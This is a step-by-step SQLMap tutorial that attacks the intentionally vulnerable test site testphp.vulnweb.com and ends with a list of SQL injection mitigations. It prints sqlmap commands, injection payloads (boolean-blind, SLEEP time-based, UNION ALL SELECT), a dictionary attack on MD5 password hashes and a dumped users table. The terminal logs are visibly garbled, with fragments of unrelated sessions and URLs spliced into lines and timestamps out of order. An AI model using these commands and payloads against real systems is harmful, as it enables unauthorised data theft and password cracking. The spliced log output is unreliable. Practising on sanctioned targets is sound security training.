

SQLmap

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Step -1 Purpose and Usage of SQLMap:

- SQLMap is a tool used for detecting and exploiting SQL injection vulnerabilities in web applications.
- It automates the process of identifying and exploiting SQL injection flaws, making it easier for penetration testers to assess the security of web applications.

Step -2 Installation of SQLMap:

- SQLMap is written in Python and can be easily installed on most operating systems.
- You can install SQLMap by cloning its GitHub repository or by using package managers like apt (for Debian-based systems) or yum (for Red Hat-based systems).
- For example, on Debian-based systems, you can install SQLMap using the following command: sudo apt-get install sqlmap

Step -3 Identifying a Vulnerable Web Application:

- You can use intentionally vulnerable web applications like DVWA (Damn Vulnerable Web Application) or WebGoat for practicing SQL injection attacks.
- Install and set up DVWA on your local machine or use online platforms like OWASP Juice Shop.
- Example : www.testphp.vulnweb.com

Step -4 Performing a Basic SQL Injection Attack:

- Use SQLMap to perform a basic SQL injection attack against the chosen target.
- Example command: sqlmap -u "http://target.com/page.php?id=1" --dbs
- This command will identify the databases present in the target application by exploiting the SQL injection vulnerability.

Process:

- **Syntax:** sqlmap -u <website_link> --crawl=2
- **Sqlmap -u** <http://testphp.vulnweb.com/> --crawl=2

- Use **--batch** command for automatic response to yes/no questions while executing the commands

```
(kali㉿kali)-[~] testing connection to the target URL
└─$ sqlmap "http://testphp.vulnweb.com/" --crawl=2 --batch
[200/3] URL:
GET http://www.root-me.org/Zweisamkeit?lang=en
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:12:39 /2024-02-25/
[!] you want to check for the existence of site's sitemap(.xml) [y/N] N
[10:12:39] [INFO] starting crawler for target URL 'http://testphp.vulnweb.com/'e?lang=en'
[10:12:39] [INFO] searching for links with depth 1
[10:12:43] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)] 1
[10:12:43] [WARNING] running in a single-thread mode. This could take a while
[10:12:49] [INFO] 8/13 links visited (62%)
got a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow? [Y/n] Y
do you want to normalize crawling results [Y/n] Y
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N
[10:12:54] [INFO] found a total of 5 targets
[1/5] URL:
GET http://testphp.vulnweb.com/showimage.php?file=
do you want to test this URL? [Y/n/q]
> Y
[10:12:54] [INFO] testing URL 'http://testphp.vulnweb.com/showimage.php?file='
[10:12:54] [INFO] using '/home/kali/.local/share/sqlmap/output/results-02252024_1012am.csv' as the CSV results file
in multiple targets mode
[10:12:54] [INFO] testing connection to the target URL
[10:12:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:12:55] [INFO] testing if the target URL content is stable
[10:12:55] [INFO] target URL content is stable
[10:12:55] [INFO] testing if GET parameter 'file' is dynamic
[10:12:56] [INFO] GET parameter 'file' appears to be dynamic
[10:12:56] [WARNING] heuristic (basic) test shows that GET parameter 'file' might not be injectable
[10:12:57] [INFO] heuristic (XSS) test shows that GET parameter 'file' might be vulnerable to cross-site scripting
(XSS) attacks
[10:12:57] [INFO] heuristic (FI) test shows that GET parameter 'file' might be vulnerable to file inclusion (FI) at
tacks
[10:12:57] [INFO] testing for SQL injection on GET parameter 'file'
[10:12:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' to the next target
[10:12:57] [WARNING] reflective value(s) found and filtering out
[10:13:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:13:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:13:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause'
[10:13:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
```

From the sql injection we got:

- ✓ testing 'Generic inline queries'
- ✓ testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
- ✓ testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
- ✓ testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
- ✓ testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
- ✓ testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
- ✓ testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
- ✓ testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
- ✓ testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

- ✓ testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- ✓ testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- ✓ testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
- ✓ testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
- ✓ testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
- ✓ testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
- ✓ testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
- ✓ testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
- ✓ testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
- ✓ testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
- ✓ testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
- ✓ testing 'MySQL inline queries'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (comment)'
- ✓ considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
- ✓ testing 'MySQL >= 5.0.12 stacked queries'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
- ✓ testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
- ✓ testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
- ✓ testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
- ✓ GET parameter 'artist' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable
- ✓ testing 'Generic UNION query (NULL) - 1 to 20 columns'
- ✓ automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- ✓ 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
- ✓ target URL appears to have 3 columns in query

Results are saved in this path '/home/kali/.local/share/sqlmap/output/results-02252024_1012am.csv'

Using the following command

```
cat '/home/kali/.local/share/sqlmap/output/results-02252024_1012am.csv'  
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs --batch
```

provide databases and its names in the SQL

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
[*] starting @ 10:20:40 /2024-02-25/  
[10:20:40] [INFO] resuming back-end DBMS 'mysql'  
[10:20:40] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
Parameter: artist (GET)  
    Type: boolean-based blind  
    Title: AND boolean-based blind - WHERE or HAVING clause  
    Payload: artist=1 AND 3074=3074  
GET https://www.root-me.org/notfound?lang=en  
    Type: time-based blind  
    Title: MySQL > 5.0.12 OR time-based blind (SLEEP)  
    Payload: artist=1 OR SLEEP(5)  
[10:20:40] [INFO] testing URL 'https://www.root-me.org/notfound?lang=en'  
    Type: UNION query  
    Title: Generic UNION query (NULL) - 3 columns  
    Payload: artist=-3145 UNION ALL SELECT NULL,NULL,CONCAT(0x71717171,0x7155477454726a746f474153666c6543627047476f6358645246574b7758646a5763494a6172486f,0x7162767671)-- -  
[10:20:42] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Nginx 1.19.0, PHP 5.6.40  
back-end DBMS: MySQL > 5.0.12  
[10:20:42] [INFO] fetching current user  
current user: 'acuart@localhost'  
[10:20:43] [INFO] fetching current database  
current database: 'acuart'  
[10:20:44] [INFO] fetching server hostname  
hostname: 'ip-10-0-0-222'  
[10:20:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.co'm  
[10:20:44] [INFO] testing URL 'https://www.root-me.org/Jrmbt?lang=en'
```

Here data found like version, user database name etc as shown in above image.

```
[10:13:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:13:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:13:13] [INFO] testing 'Generic inline queries'
[10:13:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:13:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' skipping to the next target
[10:13:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:13:24] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
[10:13:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:13:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[10:13:35] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found.
Do you want to reduce the number of requests? [Y/n] Y
[10:13:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' skipping to the next target
[10:13:41] [WARNING] GET parameter 'file' does not seem to be injectable
[10:13:41] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target
[2/5] URL:
GET http://testphp.vulnweb.com/artists.php?artist=1 skipping to the target URL
do you want to test this URL? [Y/n/q]
> Y
[10:13:41] [INFO] testing URL 'http://testphp.vulnweb.com/artists.php?artist=1' skipping to the next target
[10:13:41] [INFO] testing connection to the target URL
[10:13:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:13:42] [INFO] testing if the target URL content is stable
[10:13:42] [INFO] target URL content is stable
[10:13:42] [INFO] testing if GET parameter 'artist' is dynamic
[10:13:42] [INFO] GET parameter 'artist' appears to be dynamic
[10:13:43] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[10:13:43] [INFO] testing for SQL injection on GET parameter 'artist' skipping to the next target
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:13:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:13:46] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="non")
[10:13:46] [INFO] testing 'Generic inline queries' skipping to the target URL
[10:13:46] [INFO] testing 'MySQL > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:13:46] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[10:13:48] [INFO] testing 'MySQL ≥ 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[10:13:49] [INFO] testing 'MySQL ≥ 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:13:50] [INFO] testing 'MySQL ≥ 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:13:50] [INFO] testing 'MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:13:51] [INFO] testing 'MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:13:52] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[10:13:54] [INFO] testing 'MySQL ≥ 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:13:55] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
```

```

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[*] starting @ 10:29:11 /2024-02-25/
[10:29:12] [INFO] resuming back-end DBMS 'mysql'
[10:29:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 3074=3074

[10:29:12] [INFO] testing connection to the target URL
do you want to test this URL? [Y/n/q]
[10:29:12] [INFO] resuming back-end DBMS 'mysql'
[10:29:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: artist (GET)
Type: time-based blind
Title: MySQL ≥ 5.0.12 OR time-based blind (SLEEP)
Payload: artist=1 OR SLEEP(5)

[10:29:12] [INFO] testing connection to the target URL
do you want to test this URL? [Y/n/q]
[10:29:12] [INFO] resuming back-end DBMS 'mysql'
[10:29:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: artist (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-3145 UNION ALL SELECT NULL,NULL,CONCAT(0x7171717171,0x7155477454726a746f474153666c654362704747
6f6358645246574b7758646a5763494a6172486f,0x7162767671)-- -
[10:29:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.0.12
[10:29:13] [INFO] fetching columns for table 'users' in database 'acuart'
[10:29:13] [INFO] fetching entries for table 'users' in database 'acuart'
[10:29:13] [INFO] recognized possible password hashes in column 'cart'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:29:16] [INFO] writing hashes to a temporary file '/tmp/sqlmap_b7rcmsy26249/sqlmaphashes-j0nlv5zr.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:29:18] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files

```

Here there are 3 tables are found.

“sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db –hostname”

By using this command we can found current user, current database, hostname as shown in below image.

```

[10:20:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL ≥ 5.0.12
[10:20:42] [INFO] fetching current user
current user: 'acuart@localhost'
[10:20:43] [INFO] fetching current database
current database: 'acuart'
[10:20:44] [INFO] fetching server hostname
hostname: 'ip-10-0-0-222'
[10:20:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/Y'
[10:20:44] [INFO] testing URL 'https://www.root-me.org/manticore?lang=en'
[*] ending @ 10:20:44 /2024-02-25/

```

Here we are trying to find tables and dump them as shown below.

```
[10:29:28] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:29:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:29:32] [INFO] starting 2 processes
[10:30:10] [INFO] using suffix '1'
[10:30:49] [INFO] using suffix '123'
[10:31:21] [INFO] using suffix '2'
[10:32:06] [INFO] using suffix '12'
[10:32:45] [INFO] using suffix '3'salman.org
[10:33:29] [INFO] using suffix '13'
[10:34:17] [INFO] using suffix '7'map for attacking targets without prior mutual consent is illegal. It is the
[10:35:00] [INFO] using suffix '11'applicable local, state and federal laws. Developers assume no liability and
[10:35:37] [INFO] using suffix '5'damage caused by this program.
[10:36:18] [INFO] using suffix '22'
[10:36:58] [INFO] using suffix '23'
[10:37:24] [INFO] using suffix '01'
[10:37:52] [INFO] using suffix '4'ence of site's sitemap(.xml) [y/N] N
[10:38:20] [INFO] using suffix '07'or target URL 'https://echoctf.red/' as the target URL
[10:38:48] [INFO] using suffix '21'ks with depth 1
[10:39:23] [INFO] using suffix '14'ks with depth 2
[10:40:30] [INFO] using suffix '10'cer for 1 (current) 1
[10:40:57] [INFO] using suffix '06'single-thread mode. This could take a while
[10:41:24] [INFO] using suffix '08'eu (9%)
[10:41:46] [INFO] using suffix '8'FCHA protection mechanism detected
[10:42:08] [INFO] using suffix '15'results [Y/n] Y
[10:42:34] [INFO] using suffix '69'ts to a temporary file for eventual further processing with other tools [y/
[10:42:55] [INFO] using suffix '16'
[10:43:19] [INFO] using suffix '6'ha?v=65db50c76fb13.14360900
[10:43:50] [INFO] using suffix '18'
[10:44:12] [INFO] using suffix '!'
[10:44:35] [INFO] using suffix '.tos://echoctf.red/sile/captcha?v=65db50c76fb13.14360900'
[10:45:03] [INFO] using suffix '*'!/local/share/sqlmap/output/results-02252024_0938am.csv' as the CSV results
[10:45:28] [INFO] using suffix '!!'
[10:45:51] [INFO] using suffix '?ion to the target URL
[10:46:18] [INFO] using suffix ';'file server wants to set its own ('PUISESSID=msfno30aj3F...33pe1q5n7b'). Do
[10:46:42] [INFO] using suffix '..'
[10:47:03] [INFO] using suffix '!!!'target is protected by some kind of WAF/IPS
[10:47:25] [INFO] using suffix ','target URL content is stable
[10:47:54] [INFO] using suffix '@'target is not stable (i.e. content differs), sqlmap will base the page compar
[10:48:16] [WARNING] no clear password(s) found
```

Here are the resultant tables.

```
Database: acuart      ] can't establish SSL connection, skipping to the next target
Table: users          URL:
[1 entry]          URL:
+-----+-----+-----+-----+-----+
| cc   | cart    | pass  | email   | phone   | uname  | name
| address |          |        |          |          |          |
+-----+-----+-----+-----+-----+
| 1234-5678-2300-9000 | 3eb6da270cf058efd0f2bd8bf2c1f136 | test | email@email.com | 454576469 | test | Aymane Top1
1 | sanjay |          |          |          |          |          |
+-----+-----+-----+-----+-----+
do you want to test this URL? [Y/n/q]
[10:48:16] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.co
m/dump/acuart/users.csv'
[10:48:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.co
m'
[09:50:02] [INFO] can't establish SSL connection, skipping to the next target
[*] ending @ 10:48:16 /2024-02-25/
GET https://www.root-me.org/RFC4949?lang=en
do you want to test this URL? [Y/n/q]
└─$ ┌──(kali㉿kali)-[~]
```

Mitigations:

- Don't use dynamic SQL
- Sanitize user-provided inputs
- Encrypt private/confidential data being stored in the database
- Limit database permissions and privileges
- Use a Web Application Firewall (WAF) for web applications that access databases
- Use secure coding and SDLC practices
- Use input validation and sanitation
- Use stored procedures and parametrization
- Use prepared statements
- Use program analysis techniques and proxies